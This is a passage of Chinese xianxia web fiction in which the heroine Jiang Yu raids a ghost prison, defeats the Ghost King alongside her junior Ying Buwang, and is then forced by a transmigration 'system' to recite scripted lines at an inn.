“你究竟是谁?”方知有忍不住问。
“在此之前你得先告诉我你是谁。”姜瑜抬头示意他被绑着的手,“好弟弟,先弄清楚局势。”
方知有犹豫片刻,开口斟酌道:“我叫方知有,来自苍南,家父两个月前来无境为我病重的母亲求药,母亲病死,父亲至今下落不明。”
他抬眼望向姜瑜,满脸真诚,“我是来给父亲报仇的。”
“我叫沈晚宁,来自青冥宗,此次是跟我的师弟一同来剿灭鬼魅一族的。”姜瑜挥手解除他手上的禁制,转念一想,“这么一说,我们可以合作。”
方知有揉了揉发酸的手腕:“我有商量的余地吗?”
“没有。”
……
方知有:那还说啥了。
未等方知有开口询问,姜瑜便自顾自地说道:"我需要你带我去找师弟。”
“我怎么知道你师弟在哪里。”方知有嘴贫,眼睛却目不转睛地盯着茶杯里的水。
“你总该知道鬼魅王在哪吧?”姜瑜见状将茶杯推给方知有,“好茶,不过方才被我搅了,你要是不嫌弃可以喝上一口。”
“也不用强求只喝这一杯吧,茶壶内还有啊。”方知有指向茶杯一旁,喉结轻轻滚动几下,续而说道,
“鬼魅王行踪不定,周游于无境各处,此处人人带着面具,且不说其真容真身无人知晓,就连他是男是女都不知道,你师弟怎么可能找得到他?”
姜瑜笑道:“那可就不关我的事了。”
她也没有必须要找师弟的理由,不过是想给自己找个事情做,能找到应不妄最好。
姜瑜起身伸手抚上衣裙的褶皱,将手中的药膏抛还给方知有,“擦擦脸上的伤吧,留了疤就不好看了。”
说罢便转身径自走出屋门,临关门前还不忘补充一句:“希望以后我们合作,暗自投毒这种上不得台面的小动作,最好别用在我身上。”
方知有看着姜瑜离去的背影,指腹轻轻扣住面具边缘,待身影彻底消失后,才缓缓将脸上的面具揭下。
12. 鬼魅(七)
天刚蒙蒙亮,无境内的街灯接连撤去,晨雾萦绕,只有风掠过墙角的细碎声响,这里恢复往常的寂静人烟。
方知有戴着一副白色狐面,身着一身素白,腕间一抹天蓝色刺绣,他马尾高高束起,整个人尽显干净利落,与不久前的狼狈相比简直判若两人。
姜瑜走近后,少年高了他半个头,她不得已抬头看向白色狐面,只听他说:“我的好姐姐,你猜怎么着?”
“昨日夜里,还真有个不怕死的拿着自己一成的修为去杀鬼魅王。”姜瑜听到这儿,眼皮不自觉的掀了掀,只听方知有续而说道,“现下已被鬼魅大人抓获,估计生不如死咯。”
方知有两手一摊,不禁吐槽:“我来这儿数月了都没想过拿我这一成的修为去送死,这做人哪有傻成这样的?”
姜瑜没搭话,扶了扶脸上的面具,眼底看不出什么情绪,只问道:“那人呢?现在在哪里?”
一片枯叶顺着风吹来,恰好款落至姜瑜的头上,方知有抬手顺势帮她拨开:“还不确定那人是不是你师弟呢,倒也用不着这么着急吧?话说你们青冥宗真的会有这么蠢的弟子吗?”
“我们青冥宗有没有蠢弟子我不知道。”姜瑜退后一步,戏谑的看着他,“但我好像记得说过,不要在我眼皮底下耍小动作。”
姜瑜抬手将方才方知有在她发丝里偷偷藏的窃听符拿下来,不以为然,却听方知有轻咳一声掩饰眼底的尴尬,他冠冕堂皇道:“我这不是担心姐姐安全吗。”
姜瑜冷笑一声:“我觉得相较于你担心我的安全,我更应该担心担心自己,别稍微一不注意,就被身边的人背刺了。”
“我本来就不是什么好人。”方知有低头反复踢着脚下的石子,嘴里不满的嘟囔道,“姐姐还不如把我放了,咱们各自安好,你也别为难我让我去找你的师弟了。”
“你不是想杀鬼魅王报仇吗?”姜瑜问。
“你杀你的,我杀我的。”方知有抬眼撞进她的眸光,连带着几分不好意思的张口道,“有句话怎么说的来着?路不同不相为谋。”
“……”姜瑜像看傻子似的看着他,双臂环于胸前,“那叫道不同不相为谋。”
“意思差不多。”方知有摆摆手,“反正就是你走你的阳关道我走我的独木桥,两不相欠,江湖再见。”
“行。”姜瑜点头思琢,她不知眼前少年修为如何,跟着自己行动上也会多有不便,“那你总要告诉我,我师弟在哪吧?”
方知有:又来……
“第一,我不认识也没见过你师弟,所以确实不知道他在哪。第二,我并未肯定以及确定那位被抓的蠢货就是你师弟。”方知有单手插着腰,另一只手伸出两根纤细修长的手指在空中比划着。
“明白。”姜瑜点点头表示理解,“那你告诉我那位被抓的蠢货被关在哪里,又或者鬼魅王现下所居之处吧。”
“我都说的这么明白了你还上赶着去送死?”方知有收回方才伸出的两根手指,全身卸了力,倚靠在墙边,“别怪我没提醒你,鬼魅王可不是空有名头,他可不好惹。”
“你废话真多。”姜瑜拧紧了眉,显然对眼前方知有说的话不太满意。
方知有“嘿”了一声,随即正色道:“鬼魅王行踪不定,我倒还真不知道,不过那位蠢货嘛...现下估摸着被关押在西北方向的牢狱里。”
“谢了。”姜瑜抬脚离去,走出数丈远,又折返回来,斟酌再三开口问道,“西北是哪个方向?”
……
*
跟方知有分道扬镳后,姜瑜一路向西北行去,路上见了不过一只手能数过来的寥寥数人,虽有想过白天出行的人不多,但也没想过会有这么少。
越往西走,姜瑜越能感觉到周遭体温骤减,冰寒蚀骨。
正前方有两道鬼魅黑影拦住其去路,声行皆斥:“无境禁地,闲杂人等不得入内!”
姜瑜在面具之下弯了弯唇角,见她丝毫没有要走的意思,两道黑影瞬间警惕,只听她开口冷声应道:“找的就是禁地。”
“别敬酒不吃吃罚酒!”其中一只修炼成人形的黑影挡在身前,气势汹汹,还未等它再度张口训斥,只听“嘣”的一声,它身型俱灭,迷雾班的黑影在空中转瞬即逝。
另一只黑影鬼魅见状连忙警觉,在它将要用出鬼魅一族的独门幻境之时,随着一声巨响,它也消散于空中。
姜瑜抬步向禁地的方向走去。
近几日她对自然之间的天地灵力运用已经达到了炉火纯青的地步,此地虽灵气稀薄,但在无境内对付鬼魅王之外的人,这点灵力足够了。
再往前走是一眼望不到边的沙地,周边连一颗枯树都没有,只有远处一座用土泥建做的高墙隐隐屹立着。
高墙衔接处有一道木板制作的大门,还未走近,便听其中偶有悲惨的哀嚎尖叫声传出,可见其残忍。
姜瑜听到尖锐刺耳的声音,眉头不禁微微皱起,脑子里忍不住去想若是她那天才师弟真的被关押在这里,那岂不是也会被消磨地痛叫出声?
经过一凡思想过后,姜瑜又摇了摇头,她那傲娇师弟怕是宁可咬破舌头,也不会发出一丁点难听的声音。
等她破门而入时,周边鬼魅听到动静皆涌而至,见到姜瑜这个瘦小身板后全然一脸震惊,震惊过后便是玩味、嘲笑地躁动,他们说出几句粗鄙不堪入耳的糙话。
“呦,小妹妹这是自己一个人迷路了?”
“瞧这小身板瘦的,没点肉可不行啊。”为首的鬼魅说完,周遭引起一阵哄笑。
姜瑜冷哼一声,眼不见半分情绪:“只听说过你们品行不好,到没想到素质也这么差。”说完,她便只收凝起灵力朝为首的那位直直砸去。
这一击,带着她的怒火,没有技巧,就只是纯净的灵气汇聚的灵力。
鬼魅被一股强大的灵力击倒在地,脸上挂不住面子,旋即化作数道黑影,盘旋与姜瑜周边,其他鬼魅见状也化作数道黑影,笼黑了周围天际,将她团团围住。
姜瑜不紧不慢地往前走了两步,指尖灵力再聚,透过黑影之间的空隙,将狱内的牢锁尽数击开,放出那些被折磨的人不人鬼不鬼的东西。
她方才向四周打探了一圈,并未察觉到应不妄的身影,便也无心去跟这些粗鄙鬼魅继续交缠下去。
狱中之人被尽数放出,有的愤怒、有的
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害怕、有的畏惧,但他们更多的是恨,是源源不断的恨意。
这些积压已久的怨气尽数散开,搅地此地乌烟瘴气,这不得不迫使一部分鬼魅被分去抓获处理。
“你是什么人?!”现下鬼魅首目才自觉的提高了警惕,在此之前他不过只是将姜瑜视作又一位偷了龙文玉,且不知天高地厚的丫头片子来看的。
但就在方才,它见姜瑜释放出的灵力的可不止她修为的一成,甚至远超她本身的灵气。
“谁将鬼魅王叫出来我便饶谁一命。”姜瑜没有应它,只淡淡地掀了掀眼皮道,“否则今日这禁狱便是你们的丧身之地。”
“我只数三声。”
“三。”
“二。”
鬼魅首目见状,额头上竟意外的冒气了冷汗,他总觉得眼前这小丫头片子不简单,也深知她这话不是平白说出来的。
但她将牢狱搅得这样乱,就算鬼魅王来了,它也不会活着见到明天的太阳。
横竖都是一死,不如拼死一搏,说不定这丫头不过就是虚张声势而已呢?
“看来是没人想活。”姜瑜刚想抬手凝气,一道符纸便寻风而来,飘散在空中,旋即散开,一道不辨男女的声音从空中传出,“暴魇,情况紧急,速带狱中所能支配的鬼魅族人前来殿前。”
姜瑜扭头看向鬼魅首目,恍然大悟:“原来你还有名字。”
暴魇:“是个人都有名字吧啊喂!?”
“你也不是人啊。”
“……”
“你主人叫你,看来是出了什么事,你不着急吗?”姜瑜问。
暴魇左右看了看,犹豫之际,便听它的左右两位副目开口:“首目你先去找主上,这里有我们撑着。”
暴魇听后这才放心的收了黑影,刚转身,还没来得及传走,一声巨响过后归于平静,就连方才狱内的燥乱也不见半分声响。
“你得带我去。”一道干净清脆的声音传入暴魇耳中,它没回头,只听少女续而补充道,“我师弟或许在那边,我要找我师弟。”
见暴魇没动静,姜瑜歪了歪头,走到它面前,指向它身后归于平静的废墟,平淡说道:“它们方才说了不该说的,但你也说了。”
“如果不想落得跟它们一样的下场的话,你知道该怎么做。”
暴魇刚要使出浑身解数与姜瑜同归于尽,却被她抢先一步禁锢于法阵之中,她开口说道:“嘴巴不干净就算了,手脚也不干净,你觉得我是在跟你商量吗?”
她往法阵中注入灵力,一阵酸痛感自下而上地充斥着暴魇,让它痛不欲生。
“再给你一次机会。”姜瑜收回灵力,声音冷冽,“告诉我鬼魅王的大殿在哪?”
*
姜瑜离开高墙时,身后已然一堆废墟。
至于那些说了浑话的,都得到了它们应得的报应。
无境内,持龙文玉者可使用自身修为的一成功力,即便是无境内的鬼魅们,也就只能用一成。这也是她为什么能轻松将那群鬼魅逐群击溃的原因。
姜瑜心想着,不知道鬼魅王会不会后悔做出这个决定。
家贼难防,亦不可尽防啊。
13. 鬼魅(八)
殿前,青石板缝里渗着暗紫色瘴气,缠上阶边枯萎的杂草便化作黑灰。
应不妄此时卸了面具,他正与一群鬼魅打的不可开交,额角处岁已布满细细的汗珠,却还不忘嘴贫:“好歹是一方之主,躲在后面当缩头乌龟算什么?”
鬼魅王冷哼一声,不屑开口言道:“对付你还轮不到本尊亲自动手。”
“看来我来的还挺不是个时候。”姜瑜脸上戴着鱼龙云纹的乌木面具,悠然款步而来,她拍拍双手,玩笑道,“原来这里这么热闹啊。”
“你是谁?”
“师姐你怎么来了?”
两人同口异声。
“你是他的师姐?”鬼魅王了然,他戴着半截龙文面具,漏出的下半张脸上,唇角处勾起一抹嘲弄,他看向应不妄开口道,“本尊与青冥宗无冤无仇,何必频频派人来此送死?”
“你来这儿干什么?”应不妄皱着眉指尖凝起一股灵力,随着手中符纸飞出,精准击倒他身后的鬼魅。
“来找你啊。”姜瑜没正面回应鬼魅王,只笑着看向应不妄缠斗的方向。
有那么一瞬间,应不妄心里像是被揪了一块,那些藏在他身心深处的一块疤,突然有了落点,那些潜移默化的温言细语竟让他此刻莫名心安。
原来他有人要找。
他不是没人要。
很多年前,也有一个人曾对他这样说过,她说,来找你啊。
应不妄手握无望,剑峰所到之处斩下数名鬼魅,手起剑落,他嘴角漫出一丝血迹并不显得违和,更像是为了迎合他此刻脸上的笑意,“师姐,你用不上灵力,待在这也是徒添麻烦。”
“还不如离开,我好施展的开。”应不妄嘴硬,此刻的他的身体不过空有一副躯壳,丹田内所能支配的灵力几近枯竭,他怕拖的再晚些,恐怕连自身都护不住,更别提能确保姜瑜的安全了。
“来都来了,哪还有要走的道理?”鬼魅王听后仰天大笑,开口便是他那男不男女不女的难听声音。
他脸上半截面具随笑声晃动,露在外面的嘴角咧开诡异弧度,话音陡然转厉:“本尊还叫了些人手,今日必定让你们二人打的尽兴!”
“现在真是什么阿猫阿狗都能自称‘本尊’了?”姜瑜嘴尖舌快,懒洋洋的掀了掀眼皮,这才正色看向不远处坐在黑黄色龙形长椅上的鬼魅王。
她故作疑惑,问道:“你说的人手,莫不是禁狱那几个蠢货吧?”
鬼魅王像是突然想到什么,他蓦地从长椅上站起,怒声问道:“暴魇?!你将他如何了?”
“哦,他啊。”姜瑜撇了撇嘴,无所谓地耸肩,像是在叙述一道再平常不过的事情,“死了。”
“你干的?”鬼魅王压制着心中怒火质问道。
“你是这儿的老大,你说了算。”姜瑜指尖凝出一股灵力,不再有多余废话,抬手起阵,“你觉得是我干的那便就是我干的。”
这下改应不妄疑惑了,他趁着姜瑜起阵的空隙,稍调整了一下自己已经紊乱的内息,还不忘抽空问她:“师姐去过无境的牢狱了?”
姜瑜一纸飞符悬于空中,忙着应对鬼魅王,并未正面回应。
反观应不妄像是突然想到了什么,鲜血染红了他的唇齿,嘴角扯起一抹笑意,再度开口询问时语气不自觉的上扬:“师姐莫不会以为昨日夜里那人是我吧?”
“在师姐眼里,我竟那么蠢?”
“之前怎么没发现你话这么多?”姜瑜挥手间使出浑身尽数,指尖凝起的银光死死缠住鬼魅王,额角已渗出细汗,“有
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那闲工夫还不如过来帮我一把。”
天地万物之间的灵力确实好用,但也经不住姜瑜这样造,她虽不会切实的消耗本源灵力,但也会过度耗费精力和体力。
此前与暴魇一行鬼魅一战,她现在可以说的上是精疲力尽了。
再看应不妄,他的情况亦不容乐观,好不到哪去。
此刻姜瑜能不能撑住带他离开无境都是问题。
“我倒是好奇。”鬼魅王身后无数黑雾化作利爪缠绕于姜瑜身前,“你是如何同时做到维持元婴修为,还能用出超出自身修为的灵力的?”
“很简单,只要我的灵力不散,那我便始终高你一阶。”姜瑜再次在法阵中涌入灵气,压制着面前的鬼魅王,
“你也真是恬不知耻,数百年修炼也不过金丹鬼魅,仗着别人用不出灵力,自视清高地做着潮湿阴暗的地沟鼠王,你该不会真以为自己高人一等吧?”
“到头来不过井底之蛙、鼠目寸光而已。”
鬼魅王听后瞬间恼羞成怒,半截面具下脸狰狞至极,他周身黑气骤然暴涨,黑雾化作的鬼爪上尖刺泛着骇人的幽光,猛地朝姜瑜心口抓去。
姜瑜用尽最后一丝精力,幻化出银光长剑格挡于胸前,奈何对面来势汹涌,将她击退数丈远,致使她后背猛地撞上粗壮的枯木,传来一声闷响。
“师姐!”应不妄顾不得身上的伤痕撕扯出的疼痛,他凝出最后的灵力瞬移到姜瑜身前,抬手扶住她。
“自不量力。”鬼魅王收回黑气利爪,缓缓向着他们走去,抬手扼住姜瑜的喉咙,“我现在稍一用力,你的好师姐就撒手人寰了。”
“你不如求求我?”鬼魅歪头看向一旁满身伤痕的应不妄,眼里尽显呕人的恶趣味,“她可是杀了我不少员大将。”
14. 鬼魅(九)
姜瑜被扼住喉咙,说不出话,蹙紧了眉,微弱的摇着头,此时周身灵力全无,腿下也因没了灵力的支撑而卸了力。
鬼魅王见状,忍不住笑出声来,“看看,看看你们,好一副同门情深,死到临头了还如此硬气。”说罢,他手上的力道又加重了几分,“真是自不量力!”
“想让我求你?”应不妄嘴角噙笑,他抬手拭去唇间的一抹红,再抬眼时眼里尽显杀意,“好啊。”
“那你不如先问问我的无望剑,看它同不同意!”话落,只见无望剑悬于空中,应不妄借无望之势,划破了双手的中指和食指,瞬间血珠飞溅,剑身周围扬起一抹刺眼的光芒。
“以血祭剑?”鬼魅王惊恐地瞪大了双眼,不可置信地看着眼前一幕,心想这不是早就失传的远古禁术吗?
便听他满脸疑惑的开口问道,“你不是自诩正道宗派吗?怎会这些歪门邪道?”
应不妄在空中画起血咒,丝毫没有停下来的意思,鬼魅王尝试伸出黑气利爪打断他,却被他周身环绕的暗紫色光芒尽数击溃,这下鬼魅王彻底慌了:
“你知不知道这样不仅会折损寿元,更甚者会将你自身修为尽数耗尽,你甘愿为了这样一个女人沦为废人?!”
他自然知道远古禁术的威力,此番劝说也并非善心大发,不过是为了争取自身活命的机会。
“对付你,到也不至于散尽全部修为。”应不妄手握银光长剑,再睁眼时瞳目呈现暗紫色,他脚步轻踏向前,剑指地面还未动,却已让鬼魅王周身的黑气泛起细碎的波动。
半截面具被剑气扫中,从中间裂开,漏出鬼魅王一副半人不鬼的脸颊,此刻他无心顾及其他,只想着化身数道雾团四处匆忙逃窜。
应不妄手腕翻转,剑气横扫,黑雾瞬间消了大半,只留下微余黑雾横冲直撞。
姜瑜见状,也凝起一股白光注入随身携带的符咒中,从侧方袭向鬼魅王,两人一左一右,将鬼魅王的退路彻底封死。
两人相视一眼,眼中不见任何情绪。下一瞬,两道几近是蕴含全力的一击几近同时朝着鬼魅王轰去。
只在瞬间,震耳欲聋的轰鸣在耳畔炸开,整座大殿瞬间被劈得粉碎,断壁残垣簌簌坠落。
鬼魅王消散的瞬间,姜瑜浑身一松,那股数日未有的熟悉暖意倏然漫遍全身,丹田难得的没有空虚,就连精力也达到了前所未有的轻松。
“咳咳咳……”一阵咳嗽声传入耳中,两人回头望去,只见少年脸上戴着白狐面,做模做样的捂着口鼻从不远处走来,还颇为嫌弃地来回踢了几脚地上碎掉的石子。
“是你?”姜瑜率先开口,她此刻全身卸了力,只单手扶着一旁的枯木,借力稳住身形,“你不是没打算来吗?”
方知有弯唇一笑,见状忙不迭地走至姜瑜跟前,讨好般的搭上了她的手腕:“这不是担心姐姐的安全吗。”
“姐姐?”应不妄听见两人的对话,眼神不自觉的看向搭在姜瑜手腕上的少年。
他收起无望剑,眼帘微眯,眼里带着几分探究,却又让人瞧不出半分情绪。
他行至两人身前,并刻意往他们中间挤了挤,将原本搭着姜瑜手腕的方知有被迫挤到了别处,转而自己却扶起了姜瑜。
冰凉的指尖触到她手臂时稍顿,才掀了掀眼皮,抬眼问她,“师姐什么时候爱好交一些不三不四的朋友了?”
方知有眼皮一跳,挤到应不妄跟前质问:“你骂谁不三不四呢?!”
“他啊?”姜瑜轻咳了一声,搭在应不妄手上的腕处稍用了用力,笑着打断二人,解释道,“在找你的路上遇见的。”
“要不是因为他。”
方知有悠然的站在一旁,等着姜瑜对他夸赞的下文,并狠狠的打她这个狂妄师弟的脸!
“我也不会去无境的牢狱那个鬼地方。”
“更不会消耗过多的精力,导致我现在受伤如此严重。”
“……”
“搞清楚状况!”方知有快步挪至两人身前,大吸一口气,抬眼捥了一眼应不妄,伸起手指着自己,理直气壮的说道,
“要不是因为我,你这个蠢师弟可真就葬身于此了哈!”
应不妄低垂着眼,他扶着姜瑜的手没动,指尖顺势捏起她衣袖的一角布料,在指间来回揣摩,他没理会面前暴跳如雷的少年,只开口问道:
“那他为何叫你姐姐?”
没等姜瑜回答,方知有像是突然想起什么,轻轻皱了下眉,旋即舒展开来,脸上漾开笑意,扭头看向她,说道:
“弟弟这里还有些事情没有处理干净,这里的善后事我就不瞎掺和了,就交给你们这些名门正派吧,那……”
他撇向一旁的应不妄,眼里划过一丝狡黠,
“姐姐我们下次见。”
话落,他指尖已捏出一张瞬身符,随着符咒扬于空中,身影便消失在两人面前。
应不妄轻笑一声,眉头微挑,等着姜瑜回答他方才所问的问题。
姜瑜思索片刻,似是在想方才问题的答案,而后摇摇头,只听她开口淡声道:“不知道,我们刚见面他就叫我姐姐的。”
应不妄松开姜瑜的手腕,颇有几分嫌弃的理了理溅了血渍的衣襟,“此人不简单,希望师姐以后不要跟他再见了。”
“我知道。”姜瑜撇向方才应不妄扶着她的地方,那里沾染了他方才因划破手指所留下的血迹,她握着拳挥挥双手,“那我的衣袖也不是你擦手的地方啊。”
应不妄轻咳一声,没回话,自顾自的说道:“鬼魅王神陨,鬼魅一族同气连枝,其它鬼魅也会随着时间而魄散,只怕这会来找我们寻仇的都在半道了。”
“你有灵力你怕什么?”姜瑜不以为然。
“那走吧。”应不妄道。
“去哪里?”姜瑜疑惑。
“趁它们没赶到之前先把它们杀掉。”应不妄挑眉,往前走了两步,回头看向姜瑜,眼里敛着笑,“师姐若是想被群殴就且继续待在这。”
姜瑜小步跟上应不妄,两人一前一后,她忽然想起来什么,脚步略显几分迟疑,望着前方挺直的背影,她不禁问道:“你没什么想问的吗?”
应不妄觉得好笑,刻意放慢了脚步,与身后的姜瑜拉近了些距离,侧过脸看她:“我应该有什么想问的吗?”
“没有吗?”姜瑜微微歪头。
“师姐想说的自会说于我听,师姐不想说的我便不问,不听。”
“
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……”姜瑜沉默。
人生在世,劝你少装。
好,那我就不说。
鬼魅王身散后,无境内因常年黑雾笼罩的昏暗逐渐消散而去,境界的尽头,一抹温色的夕阳洒落于他们身上,影子被拉的长,两人一路上却默契的没再搭话。
应不妄的那番话她听明白了。
他不去问她的灵力从何而来,那她自然也不会去问他为何会远古失传已久的禁术。
师弟想说的会说与她听。
*
与姜瑜想的大差不差,鬼魅一族被灭后,根本用不着他们出手,沧南一派便就顺藤摸瓜的将这山下的余孽一股脑全端了,还浩荡声势,此后再无无境,只有沧南山脉。
姜瑜举着手中才买的糖葫芦,走在街市,吃的津津有味。
她此番行动也并不全无所获,在洞内修习的万物灵力,恰好弥补了她先天水、雷两个双斥灵根的不足,便顺利地将她从元婴前期境界推至了元婴中期。
反观应不妄,姜瑜大胆猜测在无境时他使用的远古禁术遭到的反噬是消耗修为。
至于消耗了他几成的修为,姜瑜就不告而不知了。
“发什么呆呢?”应不妄出声提醒,他拿着手中的糖葫芦,指向不远处正在卖法器的小摊贩,“我们没什么银钱了吧?”
应不妄回到苍南第一件事就是将自己曾经重金购入且占满泥污血渍的衣服扔掉,在姜瑜的再三劝说下,才换上了一身与之前略逊一筹的行当。
生活不易,师姐卖艺。
“可我也没符纸了。”姜瑜叹了口气,无奈两手一摊,余光在瞥向应不妄所指的方向撇了一眼。
她心里不由得暗骂一声奸商。
这是姜瑜上山之前卖她灵器的摊贩。
“那只能委屈师姐今晚同我一起睡大街了。”应不妄不以为意的开着玩笑,此时两人已走到了法器摊面前,他顺手拿起了摊面上的一个葫芦,在空中抛起又接下。
姜瑜轻嗤一声,默默注目看向他。
鬼能信你这个死要面子的洁癖大王会睡大街。
“要睡你睡。”姜瑜将葫芦从他手中夺取,在手上掂量片刻,未等摊主向他们开口滑舌,便将葫芦搁下,拉起应不妄的手往人群中走。
姜瑜这次挑了件翠绿色糯裙,裙身缀着细碎白纹,绿白相间甚如春日新柳映上了白雪,她的头发也只松松挽了股麻花辫,垂在肩侧,恰到好处的维她增添了一份巧丽。
应不妄目光落在姜瑜的身上竟有些移不开,一时愣了许久未回过神来,他往前司空见惯了师姐利落端庄的模样,像她这样巧丽洒脱的装扮却是头一回见。
“我跟你讲,那家摊主是个奸商,他的法器都是一些中看不中用的玩意,师弟若是喜欢,秋后我给你寻一件趁手的葫芦,不比他那个好?”
应不妄没像往前一样挣开姜瑜的手,任由她拉着往别处走,听着前面之人的絮絮叨,没由地弯唇笑了起来。
见应不妄没回话,姜瑜不满的皱紧了眉回头看向他:“发什么呆呢?”
“没有。”应不妄摇头,唇间的笑意不减,只见他眉梢一挑,语气里难得的没有嫌弃,“那我拭目以待...期待你送我的法器。”
15. 剧情?又来!
姜瑜只淡淡勾了勾唇角,眼神里带着几分笃定,没再接话。
应不妄就这么一路被她牵着,直到鸿来客栈的灯笼在眼前亮起,他才轻轻挣了挣眼帘,挑眉提醒:“师姐我们没有银钱了。”
“我知道。”姜瑜应声松开他的手,那点裹着体温的暖意骤然抽离,晚风的凉意便趁隙缠上指尖。
应不妄还没从这落空感里回神,就见她眼尾弯了弯,声音里藏着点狡黠:“我们是没钱了不错,可保不准我们的好师兄有钱啊。”
“师兄?”应不妄微微一愣。
姜瑜是青冥宗的大师姐无疑,但宗内还有一个不被另做内门弟子、受掌门亲传的人。
能让她叫得上师兄的,也只有裴恒之了。
“师兄也来了?”他掀了掀眼皮,声音不惊不喜,毫无波澜。
姜瑜摇摇头,抬头望了一眼鸿来客栈高悬着的红灯笼,暖光映在她眼底,她声音平静,开口道:“准确来说,是师兄和师妹都来了。”
“那你裴师兄的魅力还挺大,走到哪都有小迷妹跟着。”应不妄身型懒散的走近客栈,在经过姜瑜身侧时,他的余光不自觉的撇向方才牵了他一路的手上,
“鬼魅王都被我们解决完了,他们这时候来,是上赶着蹭个边角功的吗?”应不妄眼中不掩嘲讽道。
“是不是上赶着来邀功的我不知道。”姜瑜跟上应不妄,她侧身伸出一根食指在眼前轻轻晃了晃,眉眼弯成两道软弧,那双丹凤眼尾梢微微上挑,
“但他们可以是上赶着给我们送银子的,师弟,你好好想想,我们是不是不用担心银钱生计问题了,也不用可怜巴巴的去真的睡大街了?”
“既然都这样雪中送炭了,咱们格局放开,边角功劳给他就是了。”
“……”
*
应不妄在师姐开口前,曾在心里闪过无数个师妹,却从未想过竟是下山之前被她亲手推下崖的沈晚宁。
直到沈晚宁切切实实的站在应不妄面前时,他才终于明白师姐曾经口中的“清者自清”“师妹会回来”等一系列不切实际的话。
“师姐,宗中的事情我也都听说了。”沈晚宁巴掌大的脸上紧拧着眉头,她握着姜瑜的手,言语里仅限歉意,
“只怪前些日子我行动不便,无法赶去青冥宗给师姐辩解,后来我与裴师兄回宗之后,也是听宗内弟子说的...”
沈晚宁犹豫片刻,难以启齿道:“他们说是应师兄不顾及宗内戒训,一意孤行,执意要与姜师姐私、私奔。”
姜瑜眼皮一跳。
谣言止于智者知不知道?
苍梧那老头也不知道站出来辩解一下?
姜瑜干咳两声,掩饰尴尬,眼神却悄咪咪的撇了一眼应不妄,反观他倒是晓有兴趣的掀了掀眼皮,听着沈晚宁的话面上却毫无波澜。
“没想到,宗里竟是这样传的。”姜瑜小声嘟囔,话落,就听见脑海中一声久违的机器声响起——
【触发系统剧情,请宿主根据原书内容,按要求完成剧情任务,如宿主有意违反剧情任务,本系统将采取强制操纵并执行电击惩罚。】
系统说完,几行字便随之而来,漂浮于空中。
姜瑜嘴角一抽,抬眼看看周围。
“裴师兄...”姜瑜抬手拉起裴恒之的袖角,来回摇晃,“你不知道我在青冥宗受了多少罪。”
应不妄:?
裴恒之:??
沈晚宁:???
她咽了咽口水,续而咳了两声,夹着嗓子嗲声嗲气的念道:
“他们把我关起来还凶巴巴的说要将我骨头剔掉当时真的把人家吓坏了现在这沈师妹这不是好好的在这里站着吗她明明没死也不知道立马回宗解释这分明就是故意的。”
众人:????
姜瑜说完便闭住了双眼,她恨这个世界上为什么没有缩小功让她钻近地缝里。
屋内一片寂静。
“有水吗?”姜瑜睁开眼,她开始幻想自己是一个没有感情的机器人,若无其事的续而解释道,“路上奔波到现在都还滴水未近,有点渴了。”
沈晚宁最先反应过来,忙不迭的从桌上倒了一杯茶水,端到姜瑜跟前。
裴恒之则默默将自己的袖口从她手中抽出,他轻咳一声:“没想到师妹在青冥宗竟受了这般委屈,到时我自带着沈师妹去向长老们讲明原由的。”
姜瑜接过茶杯时身形一顿。
不愧是原书男主,还怪有礼貌的。
难道叉开这个话题它不好吗?
“倒、也没怎么受委屈。”姜瑜一只手将茶水送往嘴中,另一只手扯着应不妄的胳膊往前送,她将杯中的水喝完后,整个杯口遮挡住了她小半个脸,
“多亏了师父和应师弟,要不然我现在早就被剔骨成为废人了。”
她隔着茶杯说出来的话闷闷的,而一旁的沈晚宁听后却默默底下了头,脸上尽显自责。
这一幕看得姜瑜心下一软刚想出声安慰,熟悉的电子音再次传来:
【系统电击警告!请注意原书细节,不要做出与剧情不符之事。】
姜瑜张开的嘴又闭上,她盯着空中悬浮的字体,茶杯并未挪开,她面朝裴恒之旋即念道:“那就麻烦裴师兄替我在长老面前求情了,小师妹无以为报,只能...等等。”
是不是串词了?这剧本不对吧。
这什么古早白莲花发言,以原主清冷疏离师姐的性格,真的会说出这么恶心的话吗?
她挪开茶杯,抬眼看向周遭,屋内三人的目光早已尽数投来,最终她的视线落在皱巴着脸的沈晚宁身上,不忍道:“沈师妹,我发誓绝对没有怪你的意思!”
“当然也不是说不怪你,你别以为跟我道个歉我就能原谅你。”姜瑜小声嘟囔着后半句话。
左右脑互搏版姜瑜已上线。
应不妄见状顺势将胳膊从她手中抽出,皮笑肉不笑:“师姐且在此处慢慢谢着、与你的裴师兄好好叙旧,我就不在这继续碍眼了。”
“这么晚了你去哪?”姜瑜转身望向门口处欲要离开的应不妄,尽可能的将身体背对着裴恒之二人。
“出去透口气。”他头也没回的走了。
应不妄前脚刚走,此刻的姜瑜也是尴尬的无地自容,她连转身的勇气都没有,背对对着他们:
“我也去透口气,沈...裴师兄,不早了,你们先各自歇下吧。”
*
夜深,人静,虫鸣。
应不妄倚靠在小酒坊门口的木
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桩上,指节分明的手握着方才从里面买的粗陶酒罐。
不知为何,他每次见到师姐与他人讲话时,心口处就像是被塞了团棉花般,莫名发堵。
方才她与裴恒之讲话是这样。
之前在无境内见到方知有第一眼,也是这样。
只不过今日这心胸烦闷,在裴恒之这里,更明显罢了。
他心里暗暗思酌着,想着莫不是在无境内与鬼魅一战,中了什么幻术。
“不对。”应不妄缓缓摇头,他仰头举起酒罐,一大口辛辣的酒水灌入喉中,灼热感顺着往下淌,连带着心头的烦乱都似被这股麻意暂时裹住。
他前后捋了一遍,最后得出一个结论:一定是她没感谢我。
明明在青冥宗时是他将她带出,在无境内也是他将她抱回去疗的伤,她凭什么张口闭口就是感谢她那个没屁用的裴师兄。
他救她于水火那么多次。
她为什么不知道感谢感谢他?
“喝着呢?”一道再熟悉不过声音从侧方不远处传来,应不妄抬眼时一抹如柳般的翠绿先是映入眼中。
姜瑜缓慢走近他,抬手时衣袖微晃,右手提着只精致的酒罐,在他眼前轻轻晃了晃:“这个好喝,要尝尝吗?”
应不妄掀了掀眼皮,没理会她,自顾自的往自己的嘴里又猛灌了一口。
“在这喝多没意思。”姜瑜顺势抬头,一轮明月正悬在墨色里,清光洒在她发间,她晃了晃手里的酒罐,唇边扬起一抹笑意,“我带你去个有意思的地方。”
说罢,她捏起出一张符纸,简单粗了的用灵力画了一张瞬身符。
随后她自然地牵住应不妄的手,指尖灵力微微催动,符纸化作一道微光裹住两人,下一秒,二人已稳稳落在沧南唯一的安平寺庙顶,夜风瞬间拂过衣摆。
